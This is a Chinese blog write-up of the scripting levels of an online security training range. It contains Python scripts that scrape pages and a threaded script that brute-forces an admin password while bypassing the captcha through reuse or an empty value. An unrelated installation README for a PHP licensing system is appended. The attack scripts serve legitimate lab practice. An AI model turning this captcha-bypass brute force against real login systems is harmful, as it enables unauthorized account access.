php网络验证系统_网络信息安全实验室脚本关(上)

生如蝼蚁当立鸿鹄之志,命薄如纸应有不屈之心。

俗话说的好

88c2f1bf055753dfdb773847d151d1f5.png

前言

7371723235ec6cfafbfc72dd4dfbf502.png 31486ebfa92bcd801437d07cc7c5fd5a.gif

自从接触了 python,学了点皮毛之后,我正式从一个脚本小子摇身一变升级为脚本老弟。

807a7b261843e9cce36ab9ae9ec911d1.png

在我的心目中,按能力和影响力的顺序,其实都有这样的排位:脚本小子,脚本老弟,脚本师傅,脚本大佬,脚本大神,脚本行者。

052ed5b58a57adfd0c86f6734af2d7b7.png

脚本小子:自以为对工具用得很六,出神入化,实则不懂原理,半斤八两,更不会自己开发工具。

脚本老弟:对工具的使用不再停留于表面,略懂点原理,会点脚本语言,属于工具制造者,在模仿中理解,加入自己的想法,只能制造,还不能创造,即使重复造着轮子,也怡然自乐。

脚本师傅:对工具使用的理解更上一层,能够根据原理自主开发简单的脚本,小工具,属于创新的萌芽期,此时也算刚刚好入门。

脚本大佬:能够充分发挥工具的作用,对工具在实际情况下的适用性和实用性也了解得七七八八,能够很好地利用工具的扩展性开发小插件,此时的代码也渐渐趋于专业和复杂。

脚本大神:阅读过工具的源码,对于其使用方法和原理也了如指掌,优缺点更是烂熟于心,能够为同类工具取长补短,发挥出 1+1>2 的效果。一句话总结:A级的工具在他们手里也能玩出S级的感觉。

脚本行者:在那个中国的黑客江湖还是一片混沌的时候,他们为江湖打造了几款具有里程碑意义的神兵利器,像冰河,明小子,中国菜刀等等,每一位都是那么举足轻重,他们的作品一经问世便能掀起江湖中的惊涛骇浪,腥风血雨。他们的一举一动都备受其等级以下的所有人的推崇和膜拜,如星星一般,可遇而不可求。

实验环境

7371723235ec6cfafbfc72dd4dfbf502.png 31486ebfa92bcd801437d07cc7c5fd5a.gif

本次的实验环境为一个线上的靶场 "网络安全实验室" 的脚本关,顾名思义,用脚本来得到一个 key。地址如下:

http://hackinglab.cn/ShowQues.php?type=scripts

495c359342575a74910f6b6beff3574c.png

第一关

7371723235ec6cfafbfc72dd4dfbf502.png 31486ebfa92bcd801437d07cc7c5fd5a.gif
地址:http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php

ea57eebb7e49c70babe905d0d9c2689b.png

查看网页源代码,得知 key 应该在 search_key.php 中

60e952b3f400a08569b7c99ca8d5b2ae.png

点击之后重定向到 no_key_is_here_forever.php 。

ccac0a6517de3d3a48f763ced6343b29.png

编写脚本直接读取 search_key.php 的源代码。

import requestsurl = "http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/search_key.php"header = {    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400"}result = requests.get(url=url, headers=header)html = result.content.decode()print(html)

152bad348783dce643795e547decc68e.png

第二关

7371723235ec6cfafbfc72dd4dfbf502.png 31486ebfa92bcd801437d07cc7c5fd5a.gif
地址:http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php

ee5077d89cf5fe3a1f4f861263112186.png

查看网页源代码发现
 和  标签中间夹杂着一堆空格和我们想要的表达式。

8f72fb03ff5a58d6ecac29352446bf49.png

这里有两处难点,第一是匹配出表达式,第二是运算出表达式的结果。

这里我们设置的正则表达式为

re_str = r"
\s+(.*?)="

以 
\s+ 为标识开始匹配,到 = 结束,中间的 (.*?) 就是表达式的内容。\s 是指空白,包括空格、换bai行、tab缩进等所du有的空白,+表示匹配前面的字符(即 \s)一个或以上。

python 提供的 eval 函数很好地解决了第二点难处。

eval() 函数用来执行一个字符串表达式,并返回表达式的值。

>>> eval('3*4')12>>> eval('3*3+4*4')25

还有一点要注意,必须携带该页面的 cookie 去提交数据,不然会失败,获取不到 key。

整体代码如下:

import requestsimport reheader = {    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400",    "Cookie": "PHPSESSID=84c71c12fb086399908c4e61e4c86f62"}def main():    url = "http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"    res = requests.get(url=url, headers=header)    html = res.content.decode()  # 得到网页源代码    re_str = r"
\s+(.*?)=" # \s是指空白,包括空格、换bai行、tab缩进等所du有的空白,+表示一个或以上 caculate = re.findall(re_str, html) # 得到一个列表 result = eval(caculate[0]) # 取出表达式 data = {"v": result} # 设置POST提交的数据 res = requests.post(url=url, headers=header, data=data) print(res.content.decode())if __name__ == '__main__': main()

dacf5e89988d834fa05f5b3e3bb42ab2.png

第三关

7371723235ec6cfafbfc72dd4dfbf502.png 31486ebfa92bcd801437d07cc7c5fd5a.gif

ad008f8256177dbe73d3a303a8e34baa.png

第三关的思路应该是写一个脚本进行爆破,字典就是所有能代表空格的字符:%00,%0a,%0d,%0a%0d,%0b,%0c,%a0,null,none等,然后根据返回的结果判断哪个字符正确,这里我由于之前已经提交过答案,系统也无法重置信息,也就无法尝试了,直接提交 null 即可。

第四关

7371723235ec6cfafbfc72dd4dfbf502.png 31486ebfa92bcd801437d07cc7c5fd5a.gif
地址:http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php

查看网页源代码得知有三个包含 return false 的函数在产生干扰,将源代码保存于本地的 test.html 删除了干扰的三个函数,即可重新弹窗。

15086afce76fe4198abdfe3118d42d35.png

cc39e9e092d7c185d513d52cae1eefec.png

第五关

7371723235ec6cfafbfc72dd4dfbf502.png 31486ebfa92bcd801437d07cc7c5fd5a.gif
地址:http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php

第五关是一个登录页面,发现用户名已知,密码为弱口令,验证码不简单,用验证码识别工具还不一定识别得出来。

c2087e18a72dd33790c5716a7f565aad.png

通过用 burp 截包重放,验证码不变,改变密码

59d3ffa62f2c86d25fde9d92c9d9de67.png

f7df025b3ca4d133c32eac0dc5372aa6.png

以上结果得知,在不刷新页面的前提下,验证码一直有效。可爆破!

先了解下验证码的发布流程:

  • 用户请求访问或刷新网页,服务器后台生成验证码图片及图片编码。

  • 将验证码信息加密后放入Session或Cookie;

  • 提交表单信息后,调用生成验证码的程序;

  • 核对验证码无误、数据合法后写入数据库;

用户正常刷新页面后,会再次访问该表单页面,会再次访问验证码图片的链接,出发验证码正粗,使得验证码图片被动更新,Session和Cookie存入的值也跟着改变,用不同方式模拟post传参直接发送数据,从而达到绕过验证码的目的。

修复此漏洞的方法:在核对验证码后,便清空Session和Cookie中保存验证码的值,再判断数据的合法性,最后写入数据库,以此提高验证码的安全性。

爆破代码:

import requestsimport queueimport threadingimport sysnum = 0total = 10000 - 1000flag = Falselock = threading.Lock()url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"header = {    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400",    "Cookie": "PHPSESSID=84c71c12fb086399908c4e61e4c86f62"}def GetQueue():    pwd_queue = queue.Queue(10000)    for i in range(1000, 10000):        pwd_queue.put(i)    return pwd_queuedef print_num():    global num    with lock:        num += 1        sys.stdout.write("\r当前的进度:{}%".format(            round((num * 100) / total, 2)))def brute(pwd_queue):    global flag    while not pwd_queue.empty():        pwd = pwd_queue.get()        data = {"username": "admin", "pwd": pwd,                "vcode": "FJEG", "submit": "submit"}        # print("测试密码:", pwd)        res = requests.post(url=url, data=data, headers=header)        html = res.content.decode()        print_num()        if "pwd error" not in html:            print("\n密码是:{pwd}\n{html}".format(pwd=pwd, html=html))            flag = True            # break        else:            passdef main():    thread_list = []    thread = 10    try:        thread = int(input("线程数:"))    except:        print("thread必须是正整数,默认是10")    pwd_queue = GetQueue()    for t in range(thread):        tmp = threading.Thread(target=brute, args=(pwd_queue,))        tmp.daemon = 1  # 守护线程        thread_list.append(tmp)    for t in thread_list:        t.start()    while True:        if flag:            breakif __name__ == '__main__':    main()

为了提高速度,爆破的脚本一定要加线程,而且如果找到正确密码之后就退出程序,所以还要将线程的 deamon 置1,这样的话,当主线程执行完毕,其余的子线程都将结束不会继续执行,然后退出程序。这里我还加入了一个 print_num 函数,用以显示爆破的进度。

f35d61c083520265d27a81b73268639f.png

第六关

7371723235ec6cfafbfc72dd4dfbf502.png 31486ebfa92bcd801437d07cc7c5fd5a.gif
地址:http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php

1767a87752819e2d72a3841743567eb3.png

Burp抓包重发得知,此处的验证码为空时依然可以验证。

5762595708f5fd31df0e75a9c5a974df.png

这里依然使用爆破,爆破的脚本可以按照第五关的脚本,只需改一下登录的 URL 和 cookie 值即可。

b506f4282572903094d26ea03c232e62.png

运行之后的打印结果还剔除不干净,之所以还能再打印出“当前进度”,是因为还有一个子线程在主线程结束之前打印,这就和计算机的性能有关了吧,像第五关的结果就不会出现这种情况,有可能代码层面还可以再优化下,我之后再研究研究吧。

第七关

7371723235ec6cfafbfc72dd4dfbf502.png 31486ebfa92bcd801437d07cc7c5fd5a.gif
地址:http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php

256fba6428245a93bac86c89de2040ec.png

绕过方法还是和第六关一样,将 cookie 改为 session,将vcode置空即可绕过。

8009bf8ffe6778d6f5b26d43045763ae.png

尾声

7371723235ec6cfafbfc72dd4dfbf502.png 31486ebfa92bcd801437d07cc7c5fd5a.gif

我是匠心,一个在清流旁默默磨剑的匠人,期待那一天能利刃出鞘,仗剑走江湖。

72e55b686791e43cd0e2875775941e23.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1.安装 上传源码到网站目录,设置网站目录为源码二级目录public,很多虚拟主机不支持此设置 伪静态,源码默认包含了apache的伪静态规则,但很多情况下还需要自己设置,请百度对应对应的设置方法,例如Nginx thinkphp5伪静态设置,如果您使用的宝塔,那么在网站伪静态里面设置一下即可。如果伪静态没有设置好,会出现资源文件找不到,图片脚本等都404等情况。 2.配置 由于前期准备写给自己用的,偷懒了很多情况,一些配置直接写在\application\config.php中,所有请打开文件修改配置 3.邮箱服务器配置,注册,找回密码,购卡等操作需要用到邮箱发信 请在配置文件中找到mail节点设置smtp服务器账号和密码 如 'mail' => [ 'server'=>'smtp.qq.com', 'acount' => '[email protected]', 'password' => '' 密码不是qq密码 ] 4.此版本更新安全,有用到openssl的rsa加密。需要配置openssl.cnf的路径,请在配置文件中修改 如:'opensslConf'=> 'D:\BtSoft\WebSoft\apache\conf\openssl.cnf' 此文件一般在你的apache配置文件夹中 5.支付,如果您想使用验证的自动发卡功能,官方默认支持两种对接方式 1.微信原生支付,需要签约商户,微信支付配置文件vendor/wxpay/WxPay.Config.php 绑定支付的APPIDGet AppId() 商户号 GetMerchantId()商户支付密钥 GetKey() 2.码支付,默认qq和支付宝使用码支付对接,需要挂监听软件,码支付官网https://codepay.fateqq.com/ 6.开启Workerman,这是一个socket库,这次的版本添加了websocket心跳方式,开启的好处是即时心跳,比如秒t下线,即时消息,群发消息,另外带个定时器,每个6分钟自动执行一次清理异常掉线未发退出登录通知服务器的用户,如果不开启,会出现很多麻烦,使用方法,双击打开源码目录下的start_for_win.bat,并保持cmd窗口打开,此功能仅在windows下测试过,linux大同小异主要执行php start_register.php start_gateway.php start_businessworker.php 如果正常运行您可以看到3个工作ok yzGateway Register yzBusinessWorker,可能出现的问题,找不到php命令,把php.exe加入到环境变量即可,如果使用websocket心跳的话,单机最大可能只有1000左右连接 7.必须开启openssl扩展 安装可能出现的问题 1.数据库连接不上,如果您确认数据库账号密码是正确的却连接不上,可以手动导入sql文件,文件路径/public/install/test.sql,导入成功后需要在application/database.php中配置您的库信息 2.安装时候环境监测有可能有点问题,不想整了,自己确定就行 遇到其它问题加群 365011408 提问即可 遇到返回数据未解密,用模块源码取调试 调用例子群文件获取,官网对接看这里 必须要开启Workerman 心跳处理,2种心跳方式,一种web定时心跳,一种socket主动发送

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值